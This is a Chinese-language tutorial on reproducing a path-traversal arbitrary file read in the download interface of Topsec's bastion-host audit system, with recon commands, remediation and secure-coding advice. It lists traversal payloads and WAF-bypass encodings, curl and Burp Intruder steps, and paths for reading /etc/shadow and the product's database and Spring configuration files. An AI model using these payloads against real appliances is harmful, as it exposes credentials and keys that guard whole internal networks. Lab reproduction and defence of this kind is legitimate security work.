1. 项目概述一次典型的企业级边界设备漏洞复现最近在梳理一些老牌安全厂商的边界设备时天融信的运维安全审计系统通常也叫堡垒机进入了我的视线。这类设备在企业内网中扮演着“看门人”和“审计员”的关键角色理论上应该是安全防线中最坚固的一环。然而安全研究的一个核心悖论就在于越是关键的基础设施一旦出现纰漏其影响就越是深远。这次要复现的正是天融信运维安全审计系统中一个典型的“任意文件读取”漏洞其触发点在一个看似无害的download功能接口上。这个漏洞的复现过程不仅是对一个具体CVE的验证更是理解Web应用路径遍历漏洞在企业级Java应用中的经典体现以及如何从攻击者视角去审视和验证一个系统的安全性。简单来说这个漏洞允许未授权或低权限的攻击者通过构造特定的HTTP请求绕过系统正常的文件下载逻辑直接读取服务器上的任意敏感文件。想象一下堡垒机本身存储着大量服务器账号密码、运维会话录像、系统配置等核心资产如果这些文件能被任意读取无异于将整个内网的钥匙拱手让人。对于安全研究人员、企业内部的蓝队或渗透测试人员而言掌握这类漏洞的复现方法是进行有效安全评估和风险验证的基本功。接下来我将以一个实践者的角度带你从环境搭建到漏洞利用完整走一遍这个流程并分享其中关键的技巧和容易踩坑的地方。2. 漏洞原理与核心逻辑深度解析2.1 什么是“任意文件读取”漏洞在深入天融信这个具体案例前我们有必要把“任意文件读取”Arbitrary File Read这个漏洞类型掰开揉碎了讲清楚。它属于“路径遍历”Path Traversal或“目录穿越”漏洞的一种具体危害体现。其核心成因是应用程序在处理用户提供的文件路径参数时未进行充分的安全校验和净化导致攻击者可以通过注入包含目录遍历序列如../、..\的路径访问到应用程序预期目录之外的文件系统。用一个生活化的类比一个图书馆Web应用设计了一个按书名取书的系统download功能。本来读者用户只能提交图书馆目录内存在的书名如“Java编程思想”。但如果系统设计有缺陷读者提交“../../../etc/passwd”这样的“书名”时管理员服务器没有检查这个“书名”是否合法而是直接拿着这个字符串去整个服务器文件系统里找结果就把服务器系统的密码文件给“借”出来了。天融信运维安全审计系统的这个漏洞正是这个原理的典型实践。2.2 天融信运维安全审计系统漏洞点剖析根据公开的漏洞情报和分析这个漏洞通常出现在系统的文件下载功能模块中。这类运维审计系统通常需要提供审计日志、会话录像、报表等文件的下载功能。其安全的实现逻辑应该是前端传入一个文件标识符如文件ID或经过安全编码的文件名。后端根据该标识符从预设的、安全的存储目录如/opt/topsec/audit/video/中定位文件。校验当前用户是否有权下载该文件。将文件流输出到HTTP响应中。存在漏洞的实现则可能简化了步骤直接信任了前端传入的完整文件路径或文件名参数。例如可能存在一个类似/api/download?fileNamexxx或/downloadServlet?pathxxx的接口。攻击者通过将fileName或path参数的值篡改为../../../../etc/passwd后端程序未做过滤直接拼接成绝对路径进行读取就导致了任意文件读取。注意在实际的Java Web应用中路径遍历的payload需要根据操作系统和中间件进行微调。在Linux系统下经典的遍历序列是../。有时需要多次使用如../../../../以跳出Web应用的部署目录。此外需要注意URL编码例如../可能被编码为..%2f或..%5cWindows下以绕过一些简单的字符串过滤。2.3 漏洞影响与危害评估这个漏洞的危害等级通常为“高危”或“严重”具体影响取决于可读取的文件内容敏感配置泄露读取/opt/topsec/目录下的配置文件可能包含数据库连接密码、加密密钥、LDAP绑定密码等。这是最直接、危害最大的利用方式。系统信息泄露读取/etc/passwd,/etc/shadow需root权限可以获取系统用户列表为后续横向移动或暴力破解提供信息。源码泄露如果Web应用目录结构可遍历可能读取到WEB-INF/classes下的编译后class文件或配置文件通过反编译可进行更深度的代码审计挖掘二次漏洞。会话录像与日志直接读取运维人员的操作录像和命令日志获取高权限账号的敏感操作记录甚至可能从中提取出明文传输的密码。对于天融信运维安全审计系统而言其本身作为安全产品存储了大量“王冠上的宝石”级别的数据。此漏洞使得攻击者无需突破系统权限仅通过一个Web请求就可能直抵核心数据完全违背了其设计初衷。3. 复现环境搭建与工具准备3.1 实验环境规划漏洞复现的第一原则是必须在完全隔离、合法的环境中进行。绝对禁止对公网或他人的资产进行未授权的测试。方案一搭建本地靶场推荐这是最安全、可控的方式。你需要获取存在漏洞的天融信运维安全审计系统软件镜像。通常安全研究人员会从合法渠道如厂商提供给客户的旧版本安装包、某些漏洞研究社区分享的测试镜像获得。你可以使用VMware Workstation或VirtualBox搭建一个虚拟机环境。系统根据软件要求通常是CentOS 7.x 或 Red Hat Enterprise Linux。网络虚拟机设置为Host-Only或NAT模式确保只与你的物理机互通。资源分配至少4GB内存、2核CPU、100GB硬盘因为这类企业级软件资源消耗较大。方案二使用在线漏洞实验平台一些网络安全学习平台如一些高校或安全企业提供的实验环境可能会集成此类漏洞的靶机。这是最便捷的方式无需自己安装系统但可能受限于平台可用性。方案三基于Docker模拟技术挑战较高如果无法获得原版镜像可以尝试根据漏洞原理使用一个简单的Java Web应用如Spring Boot模拟存在路径遍历漏洞的/download接口用于理解原理和练习利用手法。但这与真实复现有差距。3.2 必备工具清单工欲善其事必先利其器。以下是本次复现需要用到的核心工具漏洞扫描与探测工具Burp Suite Community/Professional Web漏洞测试的“瑞士军刀”。用于拦截、重放、篡改HTTP请求是构造和发送Payload的核心。社区版对于此漏洞复现完全够用。浏览器 Chrome或Firefox配合Burp Suite的代理使用。Nmap 用于对目标系统进行基础的端口和服务发现。nmap -sV -O 靶机IP可以快速识别开放端口和可能的服务版本。Payload构造与测试工具DirSearch / Gobuster Web路径扫描器用于发现潜在的敏感接口或文件比如/download,/api/download,/fileDownload等。命令示例python3 dirsearch.py -u http://靶机IP -e php, jsp, do, action自定义Payload列表 准备一个包含常见路径遍历Payload的文本文件例如../../../../etc/passwd ....//....//....//....//etc/passwd ..%2f..%2f..%2f..%2fetc%2fpasswd ..%252f..%252f..%252f..%252fetc%252fpasswd (双重URL编码) /etc/passwd C:\Windows\System32\drivers\etc\hosts (如果目标是Windows)Curl 命令行下的HTTP客户端用于快速测试和脚本化验证。curl -v http://靶机IP/api/download?fileName../../../etc/passwd分析辅助工具Java反编译工具如JD-GUI、CFR 如果后续通过漏洞下载到了class文件需要用它来反编译查看源码进行更深度的根因分析和漏洞挖掘。文本编辑器/IDE 如VS Code、Sublime Text用于查看和分析泄露的配置文件内容。实操心得在搭建环境时务必记录下目标系统的IP地址、Web访问端口通常是80、443或8080、以及任何初始登录账号密码。建议在虚拟机中拍摄“快照”方便在测试过程中出现问题时快速回滚到干净状态。对于天融信这类商业设备其管理后台地址可能是https://IP/audit或https://IP/admin需要提前通过扫描或查阅文档确认。4. 漏洞复现实操步骤详解现在我们进入最核心的动手环节。假设我们已经在一台IP为192.168.1.100的虚拟机上安装好了存在漏洞的旧版本天融信运维安全审计系统。4.1 信息收集与目标识别首先我们需要确认目标服务是否存活以及基本信息。# 使用nmap进行快速扫描 nmap -sS -sV -O 192.168.1.100输出可能显示开放了80HTTP、443HTTPS、22SSH等端口。重点关注Web服务。接着用浏览器直接访问http://192.168.1.100或https://192.168.1.100。你会看到天融信运维安全审计系统的登录界面。记下页面的标题、版权信息中的版本号这有助于精确匹配漏洞影响范围。然后使用路径扫描工具寻找可能存在文件下载功能的接口。python3 dirsearch.py -u http://192.168.1.100 -e jsp,do,action,json -w /usr/share/wordlists/dirb/common.txt在扫描结果中你需要特别关注包含download、file、load、export、report等关键词的路径。例如可能会发现/downloadFile、/api/file/download、/report/export等。4.2 漏洞探测与Payload构造假设我们通过扫描或猜测发现了一个疑似接口http://192.168.1.100/audit/downloadFile.action。第一步使用Burp Suite进行请求拦截和重放配置浏览器代理到Burp Suite默认127.0.0.1:8080。在浏览器中尝试点击系统里任何一个正常的文件下载链接比如一份审计报表。这时Burp Suite的Proxy模块会拦截到这个请求。将这个请求发送到Burp Suite的Repeater模块。Repeater允许我们反复修改并发送同一个请求是漏洞测试的利器。观察被拦截的请求它可能长这样GET /audit/downloadFile.action?fileName20250101_operation_report.pdf HTTP/1.1 Host: 192.168.1.100 User-Agent: Mozilla/5.0... ...或者是以POST方式提交参数。第二步构造并测试路径遍历Payload在Repeater中我们将fileName参数的值替换成我们的Payload。我们从最简单的开始测试基础测试fileName../../../../etc/passwd编码测试 如果上一步没成功可能系统对../进行了过滤。尝试URL编码fileName..%2f..%2f..%2f..%2fetc%2fpasswd双重编码测试 有时WAF或过滤逻辑只做一次解码fileName..%252f..%252f..%252f..%252fetc%252fpasswd这里%25是%的编码空字节截断测试针对老旧系统fileName../../../etc/passwd%00.jpg在某些语言处理中%00会被视为字符串结束从而截断后面的.jpg绕过扩展名检查绝对路径测试 直接尝试绝对路径fileName/etc/passwd每次修改后点击“Send”发送请求并仔细观察响应。4.3 漏洞验证与敏感文件读取如何判断漏洞存在在Burp Suite的Repeater中查看HTTP响应Response成功迹象响应状态码为200 OK。响应头中Content-Type可能是application/octet-stream、text/plain或者直接是文件本身的类型。最关键的是响应体Response body如果看到了/etc/passwd文件的内容即包含root:x:0:0:root:/root:/bin/bash等行的文本那么漏洞就成功复现了失败迹象状态码为403 Forbidden、404 Not Found或500 Internal Server Error。响应体返回了错误信息如“文件不存在”、“参数错误”或系统默认的错误页面。成功案例演示 假设我们对downloadFile.action发送fileName../../../../etc/passwd后收到如下响应HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 1500 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ...这清晰地证明我们成功读取了系统的/etc/passwd文件漏洞存在且可利用。扩大战果——读取应用配置文件 读取系统文件证明了漏洞的严重性但对我们理解漏洞和后续防御更有价值的是读取应用自身的配置。尝试以下PayloadfileName../../../../opt/topsec/audit/conf/db.properties数据库配置文件fileName../../../../opt/topsec/audit/webapps/ROOT/WEB-INF/classes/applicationContext.xmlSpring配置文件fileName../../../../opt/topsec/audit/logs/startup.log启动日志可能包含敏感信息这些文件的泄露可能直接导致数据库被接管、加密密钥泄露从而引发更严重的“供应链”攻击。注意事项在测试过程中务必注意你的操作频率。不要使用自动化工具进行高频暴力扫描这可能会触发目标的防护机制如WAF、IPS或导致服务不可用也违背了安全研究的伦理。手动、低速、有目的地进行测试。5. 漏洞根因分析与代码层面解读复现成功之后我们不能只停留在“能用”的层面更要理解其“为何能用”。这需要我们从黑盒测试转向灰盒/白盒分析。虽然我们可能没有官方源码但通过泄露的配置和文件可以一窥端倪。5.1 基于泄露信息的逻辑推断通过漏洞如果我们成功读取到了WEB-INF/web.xml或一些JSP文件我们可以分析其URL映射。例如在web.xml中可能找到servlet servlet-nameDownloadServlet/servlet-name servlet-classcom.topsec.audit.servlet.FileDownloadServlet/servlet-class /servlet servlet-mapping servlet-nameDownloadServlet/servlet-name url-pattern/downloadFile.action/url-pattern /servlet-mapping这证实了我们的测试接口。进一步如果我们能下载到FileDownloadServlet.class文件用JD-GUI反编译可能会看到类似以下的问题代码public void doGet(HttpServletRequest request, HttpServletResponse response) { String fileName request.getParameter(fileName); // 危险操作未对fileName进行任何路径净化直接拼接基础目录 File file new File(/opt/topsec/audit/files/ fileName); FileInputStream fis new FileInputStream(file); // ... 将fis写入response输出流 ... }这段代码的致命伤在于它直接将用户输入的fileName拼接到一个基础目录后就尝试打开。当用户输入../../../etc/passwd时拼接后的路径就变成了/opt/topsec/audit/files/../../../etc/passwd经过操作系统路径解析最终指向了/etc/passwd。5.2 安全的代码应该如何写作为对比一个具备基本安全意识的下载接口应该包含以下防护措施输入校验 使用白名单机制只允许特定的文件名或文件ID。或者对输入进行严格的过滤移除所有../、..\、:、|等特殊字符和路径遍历序列。路径规范化与校验 使用getCanonicalPath()方法获取文件的规范路径然后检查这个规范路径是否以预期的安全基础目录开头。String baseDir /opt/topsec/audit/files/; File file new File(baseDir, fileName); String canonicalPath file.getCanonicalPath(); if (!canonicalPath.startsWith(new File(baseDir).getCanonicalPath())) { // 抛出异常或返回错误路径非法 throw new SecurityException(Illegal file path access attempt.); }权限校验 在提供文件前务必校验当前会话用户是否有权访问这个文件而不是任何人都能下载。使用数据库索引 最佳实践是前端只传递一个文件在数据库中的唯一ID后端通过ID查询出存储在服务器上的安全路径再提供下载。这样用户输入完全与文件系统路径解耦。天融信的这个漏洞正是缺失了上述第1和第2步的关键安全检查属于经典的路径遍历漏洞案例。6. 漏洞修复建议与防护策略对于企业用户和安全运维人员来说复现漏洞是为了更好地防御。针对此类任意文件读取漏洞可以从多个层面进行加固。6.1 紧急缓解措施治标如果无法立即升级或打补丁可以采取以下临时措施WAFWeb应用防火墙规则 在WAF上部署规则拦截包含../、..\、etc/passwd、WEB-INF等关键字的请求。但这种方法可能被编码、变形等方式绕过。网络层访问控制 严格限制运维审计系统的管理后台访问源IP只允许运维堡垒机或特定管理终端访问减少暴露面。应用层输入过滤 如果具备条件可以在反向代理如Nginx层面使用$arg_变量对特定参数进行过滤但这种方法比较粗糙容易误伤正常业务。6.2 根本解决方案治本官方补丁升级这是最推荐、最根本的解决方案。密切关注天融信官方安全公告获取针对该漏洞的补丁包或升级到已修复的安全版本。通常厂商会发布安全更新修复对应的Servlet或Controller代码。代码安全审计与修复 对于自研系统参考第5.2节的“安全代码”范例对所有文件操作接口进行审计和修复确保使用白名单或规范的路径校验逻辑。最小权限原则 运行Web应用的服务器进程如Tomcat的tomcat用户应被赋予尽可能小的文件系统访问权限。避免使用root权限运行。这样即使发生路径遍历能读取到的敏感文件也有限。安全开发生命周期SDL 将路径遍历、SQL注入、XSS等常见漏洞的防护检查点嵌入到开发、测试、上线的全流程中通过自动化代码扫描工具如SAST进行常态化检测。6.3 主动防御与监控日志审计 启用并集中管理Web服务器的访问日志如Tomcat的access_log。监控所有对下载接口的访问特别是参数异常冗长或包含可疑字符的请求。入侵检测 在IDS/IPS规则中添加针对路径遍历攻击特征的检测规则。定期漏洞扫描与渗透测试 聘请专业的安全团队或使用自动化工具定期对包括运维审计系统在内的所有关键业务系统进行漏洞扫描和渗透测试主动发现潜在风险。7. 复现过程中的常见问题与排查技巧在实际复现过程中你可能会遇到各种问题。下面是我总结的一些常见“坑点”和解决方法。7.1 问题一Burp Suite抓不到浏览器的流量症状 浏览器可以访问目标但Burp Suite的Proxy界面没有任何请求记录。排查检查代理设置 确保浏览器网络设置中正确配置了HTTP和HTTPS代理为127.0.0.1:8080。检查Burp监听 打开Burp Suite的Proxy-Options确保Proxy Listeners中127.0.0.1:8080是Running状态。安装CA证书针对HTTPS 访问http://burp下载Burp的CA证书并导入到浏览器的受信任根证书颁发机构中。这是抓取HTTPS流量的关键。关闭浏览器安全扩展 某些浏览器安全插件或VPN插件可能会干扰代理。7.2 问题二发送Payload后返回404或500错误症状 替换fileName参数后服务器返回错误页面而非文件内容。排查确认接口地址 你可能找错了接口。用DirSearch等工具再仔细扫描一遍或者通过分析网页前端JS代码寻找真正的下载请求地址。尝试其他参数名 除了fileName常见的参数名还有file、path、url、filename、f等。可以尝试用Burp Suite的Intruder模块进行参数名Fuzz。检查会话Cookie 某些下载接口需要有效的登录会话Session Cookie。确保你的请求中包含了从登录后获取的Cookie。可以在Burp的Repeater中将浏览器登录后请求的Cookie头复制过来。Payload需要调整../的次数可能不够。尝试增加或减少../的数量比如../../../../../etc/passwd。或者目标系统可能是Windows尝试..\..\..\..\windows\win.ini。7.3 问题三返回了文件但内容乱码或不是预期内容症状 响应状态码是200但内容是乱码或者是一个HTML错误页面。排查查看响应头 检查Content-Type。如果是application/octet-stream浏览器可能默认以二进制下载你需要用Burp Suite的Response to Browser功能保存为文件再用文本编辑器打开查看。检查文件编码 服务器返回的文件可能是GBK、UTF-8等编码。在文本编辑器中切换编码尝试。可能触发了WAF或错误处理 返回的HTML可能是WAF的拦截页面或应用的统一错误页。仔细阅读HTML内容看是否有“安全拦截”、“参数错误”等提示。7.4 问题四如何高效地Fuzz敏感文件路径手动构造Payload效率低。可以结合Burp Suite的Intruder模块进行自动化Fuzz。在Repeater中将含有fileName参数的请求发送到Intruder。在Positions标签页清空所有标记只将参数值部分如../../../etc/passwd标记为Payload位置。在Payloads标签页选择Payload type为Simple list并加载一个你准备好的敏感文件路径字典如包含/etc/shadow,/opt/topsec/conf/,/WEB-INF/web.xml等。开始攻击。Intruder会逐个替换Payload并发送请求。你可以根据响应长度、状态码来快速筛选出成功的请求通常成功读取文件时响应长度会显著不同。7.5 问题速查表问题现象可能原因排查步骤无流量经过Burp代理未配置或证书问题1. 检查浏览器代理设置2. 安装Burp CA证书3. 确认Burp监听器开启请求返回403/404接口地址错误或需认证1. 重新扫描路径2. 在请求中添加有效的Cookie或Token请求返回500Payload格式触发服务端异常1. 尝试URL编码Payload2. 减少../的层数3. 检查参数名是否正确返回200但内容不对文件编码问题或非文本文件1. 保存响应为文件后检查2. 尝试读取其他已知的文本文件如/etc/hosts验证疑似被WAF拦截返回带安全关键词的HTML页面1. 尝试双重URL编码2. 尝试大小写混淆、插入空字节等绕过技巧3. 降低请求频率漏洞复现不仅是一个技术动作更是一个系统性思考的过程。从天融信这个案例延伸出去你会发现路径遍历漏洞的模式是高度一致的。关键在于培养一种“攻击者思维”每当看到一个文件下载、图片查看、文档预览的功能心里就要多问一句——“它信任用户输入的路径吗”。在自家系统做代码审计时对所有拼接用户输入生成文件路径的地方都要用getCanonicalPath()和startsWith()这套组合拳检查一遍。